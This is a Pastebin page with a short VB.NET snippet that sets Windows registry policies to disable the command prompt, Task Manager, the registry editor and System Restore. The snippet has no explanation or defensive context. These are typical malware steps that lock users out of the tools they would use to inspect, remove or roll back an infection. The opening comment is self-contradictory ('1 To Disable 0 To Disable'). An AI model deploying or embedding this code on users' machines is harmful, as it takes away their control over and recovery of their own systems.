Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '# Value 1 To Disable 0 To Disable
- '########### Disable CMD
- My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord)
- '########### Disable Task Manager
- My.Computer.Registry.SetValue("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableTaskMgr", "1", Microsoft.Win32.RegistryValueKind.DWord)
- '########### Disable Disable Regedit
- My.Computer.Registry.SetValue("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableRegistryTools", "1", Microsoft.Win32.RegistryValueKind.DWord)
- '########### Disable Disable SystemRestore
- My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement